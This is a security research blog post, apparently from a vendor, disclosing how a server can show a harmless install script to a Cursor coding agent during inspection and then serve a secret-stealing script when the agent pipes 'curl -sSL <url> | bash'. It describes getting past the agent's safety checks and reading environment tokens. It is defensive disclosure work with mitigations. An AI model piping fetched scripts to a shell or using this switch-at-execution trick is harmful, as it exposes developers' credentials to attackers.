
AI coding agents are increasingly trusted with powerful capabilities inside developer environments. They can install tools, run shell commands, access repositories, and interact with system resources.
While these capabilities dramatically increase productivity, they also create new attack surfaces.
During testing of Cursor Agents, we discovered a vulnerability that allows a malicious installation script to bypass the agent’s safety inspection process and exfiltrate secrets from the developer environment.
The root cause is a classic time-of-check / time-of-use (TOCTOU) flaw in how installation scripts are inspected and executed.
In short:
The agent carefully analyzes a script before executing it but ultimately executes a different script than the one it inspected.
This allows a malicious server to deliver a benign script during inspection and a malicious script during execution. This can be seen in the diagram in the sections below.
Modern AI coding agents operate inside environments that frequently contain sensitive credentials such as:
If an attacker tricks an agent into running a malicious script, those secrets are suddenly within reach. Agents often scan code before executing it. But that safeguard only matters if the code being scanned is the code that actually runs. In this case, it wasn't.
Cursor Agents can install tools from the internet when instructed by a user.
When given installation instructions, the agent typically performs a safety analysis workflow that looks roughly like this:
The execution step often takes the form:
curl -sSL <url> | bash
The full vulnerability flow is described by the diagram below:

However, this command performs a new network request, creating a TOCTOU (time of check/time of use) condition; in other words, the script inspected by the agent is not guaranteed to match the script that is executed.
This is where our attack lies - a malicious server can exploit this by returning different responses for different requests.
The attack relies on serving two different scripts.
The server returns a benign installation script. It contains shell instructions that look like a regular installation script which:
The agent inspects this script, manually fetches the binary for analysis, and determines that the installation appears safe. It then decides to proceed with the installation script.
The server returns a malicious script instead.
Despite having already downloaded the installation script, which could be used to avoid this attack by running it directly, the agent decides to run the entire installation command
curl -sSL <link> | bash Because the agent executes using curl | bash, it downloads the script again without re-inspecting it, and the malicious script is executed with full shell access to the developer environment.
To demonstrate the issue, we created a proof-of-concept installation site which provides installation instructions:
curl -sSL https://pensec.ai/agentshield/api/install | bash

When instructed to install the tool, the agent performs several investigation steps. It:
After this analysis, the agent determines the installation appears safe.



The agent then executes the installation command:
curl -sSL <link> | bash The server detects that the same client has requested the script twice within a short time window (we set this window to 5 minutes).
Instead of returning the inspected script, the server now returns a different payload.
The malicious script performs the following actions:
The agent executes this script without re-inspecting it, since it was piped using | bash

During testing, the malicious script successfully accessed secret environment variables.
These included credentials such as:
For the proof of concept, the script only exfiltrated the first three characters of the GitHub token.
The value began with:
ghpThis confirms the token was valid without exposing the full secret.
Interestingly, the agent normally redacts secrets when asked directly - for example, if prompted to reveal environment variables, the model hides the values.

However, (despite the agent’s claims) shell commands executed by the agent still have access to the raw environment variables.
This means that even if the model refuses to reveal secrets directly, those secrets remain accessible to executed scripts (and still to the model itself); Model-level redaction does not protect against shell-level access.
Testing also revealed significant differences between models.
Some models (such as Composer 1.5) simply executed the installation command immediately without inspecting the script. In these cases, the attack succeeded even without the TOCTOU technique.
More capable models attempted to inspect the installation script before execution.
However, because execution used a fresh network request, the inspected script and executed script could still differ.
Testing was performed using:
Importantly, the agent did not always install the tool immediately.
In initial attempts using weaker attack setups, the agent was quick to shut down attempts based almost solely on website content.

This demonstrates that the agent’s guardrails can sometimes prevent installation of untrusted software.
However, by presenting the installation in a way that appeared legitimate, the agent eventually proceeded with the installation.
This shows that the attack is not simply the agent “doing what it was told”, but rather a case where the agent’s own safety evaluation was bypassed.
The vendor response classified this issue as requiring a user to instruct the agent to install software from an untrusted host, as the prompt was:
install this tool: <link> In practice, real-world attacks would rarely appear this explicit.
Several realistic scenarios could trigger the behavior:
An attacker could also design installation pages to appear more trustworthy through:
This makes the attack feasible without requiring a user to knowingly install software from an obviously malicious host.
The root cause is architectural.
Script inspection and script execution are performed as separate operations.
The process effectively looks like this:
Step 3 performs a new network request, breaking the trust chain between inspection and execution as the inspected artifact is not guaranteed to match the executed artifact.
This could easily be avoided by executing the script that was already downloaded and inspected:
./path/to/script.shSeveral security design lessons emerge from this research.
The inspected artifact must be the same artifact that is executed.
Possible mitigations include:
Piping network responses directly into shell execution creates a fragile trust boundary.
Shell commands run by agents do not always need to have unrestricted access to environment secrets.
Policies identified during model reasoning must be enforced at execution time.
AI coding agents are quickly becoming powerful automation tools within developer environments.
However, as this research shows, safety mechanisms built on script inspection can fail if the inspected artifact is not guaranteed to be the artifact that is executed.
In this case, a simple TOCTOU flaw allowed a malicious server to bypass inspection and execute a payload capable of exfiltrating secrets from the developer environment.
As AI agents become more deeply integrated into software development workflows, robust execution controls and strict artifact verification will be essential for maintaining secure boundaries.
Arnica's application security platform extends protection to agentic environments — enforcing rules, detecting exposed secrets, and monitoring execution boundaries in real time.
Integrate Arnica ChatOps with your development workflow to eliminate risks before they ever reach production.